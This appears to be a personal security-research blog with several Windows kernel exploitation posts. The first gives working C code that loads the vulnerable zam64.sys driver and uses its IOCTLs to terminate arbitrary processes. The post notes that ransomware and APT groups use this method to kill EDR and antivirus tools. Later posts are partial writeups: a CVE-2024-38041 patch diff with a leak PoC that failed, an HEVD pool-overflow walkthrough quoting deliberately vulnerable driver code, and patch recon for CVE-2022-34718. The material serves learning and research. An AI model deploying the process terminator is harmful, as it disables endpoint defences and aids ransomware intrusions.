Friday, 20 September 2024

zam64.sys BYOVD process Terminator

Recently, Malware authors are using byovd(bring your vulnerable driver) too much to kill EDRs/AVs or to become persistent. This tool was used by Earth Longzhi , a subgroup of  APT41 or Winnti and BlackCat Ransomware group 

They are using the vulnerability in the Zemana AntiMalware software driver zam64.sys and  zamgaurd64.sys . They are the same driver which just different names 😐 .There hashes are same. I am using the zam64.sys  driver in this tutorial , which is found on the loldrivers here . There are lot of vulnerabilities found in this drivers , all due to no proper checking on the user input. I will be using bug in two IOCTL , which is used to kill process.

Reversing zam64.sys

This driver has some more symbols which helps in finding us IOCTL name and its use despite it needs to be obfuscated as it is a antimalware driver.
On opening the driver , we can see that the driver is creating symbolic link with the name as \\Device\\ZemanaAntiMalware. 


So, in the IOCTL numbers list , there are many IOCTLs for different processes but the useful one for us is the IOCTL_TERMINATE_PROCESS and  IOCTL_REGISTER_PROCESS.


This whole reverse engineering is done very briefly by @VoidSec in his blog post blog . But the main thing to consider here is that the processes which are in the trusted process list are allowed to do IOCTL operation.
So, using the IOCTL_REGISTER_PROCESS we will register our process in trusted process list and then  using other IOCTL_TERMINATE_PROCESS we can terminate any process except system process😮 with pid 4.

Register Service 

So, first we have to register the zam64.sys driver as a kernel services for which we will be using CreateServiceA and OpenServiceA  windows api to create and start the service.
 BOOL InstallDriver(char* Driverpath)
{
	SC_HANDLE hSCM, hService;
	SERVICE_STATUS Servicestatus;

	//establish connection to service control manager
	hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (hSCM == NULL) {
		printf("[OpenScManagerA] error code: 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	//Check if the service is already running and its state that whether it is running or stop.
	hService = OpenServiceA(hSCM, servicename, SERVICE_ALL_ACCESS);
	if (hService != NULL)
	{
		printf("[#] Service Already existing\n");

		//Check the state of the service
		if (!QueryServiceStatus(hService, &Servicestatus)) {

			//error in opern handling or some error
			CloseServiceHandle(hSCM);
			CloseServiceHandle(hService);

			printf("[QueryServiceStatus] error code: 0x%08x\n", GetLastError());
			exit(EXIT_FAILURE);
			return FALSE;
		}

		//If the service is stopped, then start the service
		if (Servicestatus.dwCurrentState == SERVICE_STOPPED)
		{
			if (!StartServiceA(hService,0,NULL))
			{
				//something error in starting service
				CloseServiceHandle(hSCM);
				CloseServiceHandle(hService);

				printf("[StartServiceA] error code : 0x%08X\n", GetLastError());
				exit(EXIT_FAILURE);
				return FALSE;
			}

			printf("[#] Starting service KillPid\n");
		}

		//Close Handles
		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);
		return TRUE;
	}

	//If service is not created before
	hService = CreateServiceA(hSCM, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
		Driverpath, NULL, NULL, NULL, NULL, NULL);
	if (hService == NULL)
	{
		//error creating service
		CloseServiceHandle(hSCM);

		printf("[CreateServiceA] error code : 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	printf("[#] Service Created Successfully\n");

	//START THE CREATED SERVICE
	if (!StartServiceA(hService,0, NULL))
	{
		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);

		printf("[StartServiceA] error code: 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	printf("[#] Starting service KillPid ..\n");

	CloseServiceHandle(hSCM);
	CloseServiceHandle(hService);

	return TRUE;}
Just doing some basic check if the service is created before then only start the service and vice versa.

Process terminator

we have to use to IOCTLs IOCTL_TERMINATE_PROCESS and IOCTL_REGISTER_PROCESS having IOCTL numbers as 0x80002048 and 0x80002010.
//Exploitaion part of the zam64.sys driver
//opening the handle to the driver zam64.sys 
HMODULE hZAM = CreateFileA(TerminatorPath,
	FILE_READ_ACCESS | FILE_WRITE_ACCESS,
	FILE_SHARE_READ | FILE_SHARE_WRITE,
	NULL,
	OPEN_EXISTING,
	FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
	NULL);

if (hZAM == INVALID_HANDLE_VALUE) {
	printf("[CreateFileA] error code : 0x%08x\n", GetLastError());
	exit(EXIT_FAILURE);
}

ULONG CurrentPid = GetCurrentProcessId();
ULONG BytesReturned = 0;

//registry CurrentProcessId in the trusted Process List.
int ret = DeviceIoControl(hZAM, IOCTL_REGISTER_PROCESS, &CurrentPid, sizeof(CurrentPid), NULL, 0, NULL, NULL);
if (!ret) {
	printf("[DeviceIoControl] Failed to regsiter in trusted process list Code: 0x%08x\n", GetLastError());
	CloseHandle(hZAM);
	exit(EXIT_FAILURE);
}

printf("[+] Terminating the pid %i\n", pid);

//terminate the process
ret = DeviceIoControl(hZAM, IOCTL_KILL_PROCESS, &pid, sizeof(pid), NULL, NULL, &BytesReturned, NULL);
if (!ret) {
	printf("[DeviceIoControl] Failed to kill process id error code: 0x%08x\n", GetLastError());
	CloseHandle(hZAM);
	exit(EXIT_FAILURE);
}

CloseHandle(hZAM);
Just sending the currentprocessid to register the process first and then sending the pid taken as input from user to kill the process.

you can look at the full code at my GitHub repo  .

Thanks for reading.

References


Thursday, 5 September 2024

Patch Diffing Windows ntoskrnl.exe CVE-2024-38041

 So, I was looking for vulnerabilities on the MSRC Vulnerability portal , then I thought to try this CVE-2024-38041 . It was a Information Disclosure Vulnerability. More Information Provided by Microsoft is that an attacker can use this bug to leak one byte of kernel memory. This Bug was found by Le Tran Hai Tung .

I was Patch Diffing this CVE and thought that there is Bug left by windows developers in a function. LOL ,It wasn't My Bad.

Patch Diffing

This Bug was patched in July patch Tuesday on 9 July 2024. I am testing  this on windows 11 22H2 machine. I got the Binaries from Winbindex. Select the Signing Date option for better search.


So, we will look for binaries signed approx. in July or June. 


Here, is the two versions of ntoskrnl.exe  the recent patched version and one update back. You can confirm that clicking at the show Button an Checking the release date of the executable.


You Can see here that this is the Patched version of ntoskrnl.exe released on 09 July.

Load Both Binaries in Ida Pro and let Ida download the Symbols for ntoskrnl.exe and once it has analyzed the Binary, use Binexport to export it in .binexport format.


FINDING BUG

I am using BinDiff to diff the Patch. BinExport is also installed after installing BinDiff. Open Bindiff and load these two binexport files of both patched and unpatched version.

After Bindiff has Analyzed all the functions, select the matched functions and arrange the Similarity.  You will get Something like this:


Here You can see that there are changes in only 5 functions . You check the Graph View of these functions But this function CmpRemoveCellFromIndex  has small graph view which is easy to analyse and looks like some checks has been added .

So, a cmp  instruction has been added before a memmove call , looks life a check is added to prevent copy kernel information to attacker. Lets Look it in Ida.



This is the 1 Byte Information Disclosure Bug CVE-2024-38041. 

Now, These three functions CmCheckRegistry, CmpRemoveCellFromIndex, CmpRemoveSubkeyCellNoCellRef  are related to each other .Actually these are called by CmCheckRegistry  function which is related to windows registry API.
Recently Google Project zero has submitted 39 bug reports in the windows registry, you can read the blog here . Due to the legacy code used in windows registry , it has a lot of bugs.

This function CmpRemoveSubKeyCellNoCellRef  has reference to function CmpRemoveCellfromIndex. and this function has reference to CmCheckRegistry2 which has reference to CmCheckregistry which is called by function cmpCreateHive.


The CmpCreateHive has lot of references but all of these references are related to function CmRestoreKey.

So, To a create a POC for this CVE we can use some windows registry API like this RegRestorekeyA  because the bug is in the restoring the registry Key.

POC: To be Continued.

Further Analysis.

So, Two more functions left that are patched in this CVE. So the first one MivalidateSectionCreate . This function has used a lot by malwares so Microsoft's plan is to kill that so i guess that' the reason of the patch of this function . You can read more about this here

Last Function is NtQueryMultipleValueKey, which is a windows registry API . It Retrieves values from Multiple Value Key. Comparing the Patched and Unpatched version in Ida.

In the Patched version , they have just removed this function 
Feature_Servicing_PostQueryMultipleValueKey__private_IsEnabledDeviceUsage(). This function just check that the caller is called from User mode or Kernel mode. 

My Assumption:

While  analysing this function I thought that there is no check on the user supplied input length so it may leaks kernel information.

It does only basic check on the user supplied length and set it to the length . So, this function  CmpBounceContextCopyDataTocallerBuffer  will copy that length of buffer to usermode and leaks kernel memory.


So, I Wrote this POC to test this :
 #include <Windows.h>
#include <stdio.h>

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _KEY_VALUE_ENTRY {
	PUNICODE_STRING ValueName;
	ULONG           DataLength;
	ULONG			DataOffset;
	ULONG           Type;
} KEY_VALUE_ENTRY, * PKEY_VALUE_ENTRY;

//NtQueryMultipleValueKey
typedef NTSTATUS(WINAPI* NtQueryMultipleValueKey_t)(
	HANDLE KeyHandle,
	PKEY_VALUE_ENTRY ValueEntries,
	ULONG EntryCount,
	PVOID ValueBuffer,
	PULONG Bufferlength,
	PULONG RequiredBufferLength
	);

typedef void(WINAPI* RtlInitUnicodeString_t)(
	PUNICODE_STRING DestinationString,
	PCWSTR SourceString
	);

NtQueryMultipleValueKey_t NtQueryMultipleValueKey;
RtlInitUnicodeString_t RtlInitUnicodeString;

int main()
{
	HMODULE hntdll = NULL;
	hntdll = LoadLibraryA("ntdll.dll");

	if (!hntdll)
	{
		printf("[-] Failed to open handle to ntdll.dll\n : 0x%08x", GetLastError());
		exit(EXIT_FAILURE);
	}

	NtQueryMultipleValueKey = (NtQueryMultipleValueKey_t)GetProcAddress(hntdll, "NtQueryMultipleValueKey");
	RtlInitUnicodeString = (RtlInitUnicodeString_t)GetProcAddress(hntdll, "RtlInitUnicodeString");

	printf("[+] NtQueryMultipleValueKey Address: 0x%p\n", NtQueryMultipleValueKey);
	printf("[+] RtlInitUnicodeString Address: 0x%p\n", RtlInitUnicodeString);

	// open key to \HKEY_CURRENT_USER\Software\Testdir
	LSTATUS lresult;
	HKEY hTestKey = 0;

	lresult = RegOpenKeyEx(HKEY_CURRENT_USER,
		TEXT("Software\\Testdir"),
		0,
		KEY_QUERY_VALUE,
		&hTestKey);

	if (lresult != ERROR_SUCCESS)
	{
		if (lresult == ERROR_FILE_NOT_FOUND)
		{
			printf("Key not found.\n");
			exit(EXIT_FAILURE);
		}
		else {
			printf("Error Opening Key.\n");
			exit(EXIT_FAILURE);
		}
	}

	printf("[+] Handle to key Software\\Testdir : 0x%08x\n", (ULONG)hTestKey);

	
	
	PUNICODE_STRING Value1 = (PUNICODE_STRING)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(UNICODE_STRING));
	PUNICODE_STRING Value2 = (PUNICODE_STRING)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(UNICODE_STRING));

	RtlInitUnicodeString(Value1, L"lpe");
	RtlInitUnicodeString(Value2, L"test");

	//array of KEY_VALUE_ENTRY structure to hold the data value.
	KEY_VALUE_ENTRY ValueEntries[2] = { 0 };
	
	ValueEntries[0].ValueName = Value1;
	ValueEntries[0].DataLength = 100;
	ValueEntries[0].DataOffset = 0;
	ValueEntries[0].Type = REG_SZ;

	ValueEntries[1].ValueName = Value2;
	ValueEntries[1].DataLength = 100;
	ValueEntries[1].DataOffset = 0;
	ValueEntries[1].Type = REG_SZ;

	/*PKEY_VALUE_ENTRY ValueEntries;
	if (ValueEntries == NULL) {

	}*/
	//printf("[-] ValueEntries.ValuName : %s\n", ValueEntries.ValueName);

	char ValueBuffer[100] = { 0 };
	ULONG BufferLength = 101;

	OutputDebugString(L"ValueBuffer Address: 0x%p\n", ValueBuffer);

	NTSTATUS result = 0;

	result = NtQueryMultipleValueKey(hTestKey,
		ValueEntries,
		2,
		&ValueBuffer,
		&BufferLength,
		NULL);
	
	printf("[-] Return code : 0x%08x\n", result);

	for (int i = 0; i < 100; i++)
	{
		printf("ValueBuffer [%d]: 0x%08x\n", i, ValueBuffer[i]);
	}

	return EXIT_SUCCESS;
}
But it doesn't leaks any memory , then after some debugging in WinDbg . I tried that few weeks ago so I haven't taken any Screenshot to show the length change in WinDbg . I found that there is function between this which is changing the length .

This function calculates the length required to store the multi-value Key and changes the length according to that.

LOL, There is no Bug Here , But It was worth trying and learning new debugging ways and experience.

Thanks  

HEVD-BufferOverflowNonPagedPoolNx LPE from Low Integrity

Hello everyone. Today, we are going to do the HEVD BufferOverflowNonPagedPoolNx  from Low Integrity , which means we cannot use Windows API like NtQuerySystemInformation  to leak the base address of ntoskrnl.exe. I am doing this writeup on windows 10 22H2 machine . 

Original Author : @ommadawn46 has explained this same exploit in his GitHub repo here: repo . I am trying to explain that more briefly in my way in this post. Thanks a lot to @ommadawn46 .

Good To Know:  As far as I know, This is the best paper for learning modern windows Heap i.e., Segment Heap . paper     If you have some time ,please read this paper but I will obviously try to explain as much as I can.

Source Code Review

You can download the source code from and compile the win10-klfh branch , then you can use OSR tool to load the driver.
We are analyzing the BufferOverflowNonPagedPoolNx.c file which has the vulnerability
NTSTATUS
BufferOverflowNonPagedPoolNxIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();

    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer)
    {
        Status = TriggerBufferOverflowNonPagedPoolNx(UserBuffer, Size);
    }

    return Status;
}
So, first here is the BufferOverflowNonPagedPoolNxIoctlHandler which takes the user supplied input and send the UserBuffer  and Size  to a function TriggerBufferOverflowNonPagedPoolNx
 NTSTATUS
TriggerBufferOverflowNonPagedPoolNx(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try
    {
        DbgPrint("[+] Allocating Pool chunk\n");

        //
        // Allocate Pool chunk
        //

        KernelBuffer = ExAllocatePoolWithTag(
            NonPagedPoolNx,
            (SIZE_T)POOL_BUFFER_SIZE,
            (ULONG)POOL_TAG
        );
In this function, first it allocates buffer on NonPagedPoolNx  and size is 16 Bytes with PoolTag as Hack.
   if (!KernelBuffer)
        {
            //
            // Unable to allocate Pool chunk
            //

            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPoolNx));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }

        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        //

        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Buffer Overflow in NonPagedPoolNx\n");

        //
        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        //

        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

        if (KernelBuffer)
        {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

            //
            // Free the allocated Pool chunk
            //

            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}
Then, It does the basic checks that the buffer resides in Usermode that we send using the IOCTL. In the Vulnerable part , there is the bug : It copies the our usermode supplied buffer to kernel mode buffer that is allocated previously with our user supplied Size.

This is a Heap Buffer Overflow in NonPagedPoolNx.

To be Continued.....

Weaponizing Windows tcpip.sys "EvilESP" RCE CVE-2022-34718

 Hello everyone, so now I started to write some n days exploits to learn more real world exploitations. I found this blog post by @chompie in which she explained the CVE-2022-34178 very clearly. So , I will follow this blog post and some more resources in making the final exploits. I will document every step from zero to RCE. Once again ,Thanks @chompie.

Recon

So, This CVE was patched in September 2022 patch Tuesday. Lets take a look at the Microsoft advisory of this CVE. 
An unauthenticated attacker could send a specially crafted IPv6 packet to a Windows node where IPSec is enabled, which could enable a remote code execution exploitation on that machine.

As usual Microsoft doesn't provides much information but the only thing we get to know from this is that it is related to a IPv6 packet , IPSec and it is a RCE.  So, for getting more info , we have to do patch diffs of the tcpip.sys file before and after patch. We will use Bindiff , binary diffing tool.  It is free and open source.

There is a very handy site that maintains the windows binaries of every update ,Winbindex . You can search for tcpip.sys  file in x64 architecture. 

Here, you can see that the tcpip.sys binaries are shown according to their windows version and KB number. Since we want the binary from September 2022. On the Microsoft advisory page you can see that this patch was released on 13 September. You can click on  show button to get more info about the release date . As we will try this on Windows 22H2, we will look for that.

On clicking on the show  button you can see that this binaries was release on 13 September and the just previous version for that same windows version was released on October. Download these two binaries.
You can any disassembler , I am using Ida Freeware 8.4 sp2 (free) . Load the binaries in IDA and Binexport  the binary so that bindiff can diff it. 

Open bindiff and create a new workspace, File-> New Workspace . Then, click on diff-> new diff and the add the vulnerable and patched file in the primary and secondary diffs.

After the diffs are loaded , click on the matched functions .

Then, click on similarities. 
Here you can see that there is only two functions that has been patched Ipv6ReassembleDatagram and IppReceiveEsp .
The difference in the code in Ipv6ReassembleDatagram and IppReceiveEsp are marked below:

Bug Analysis

To be Continued......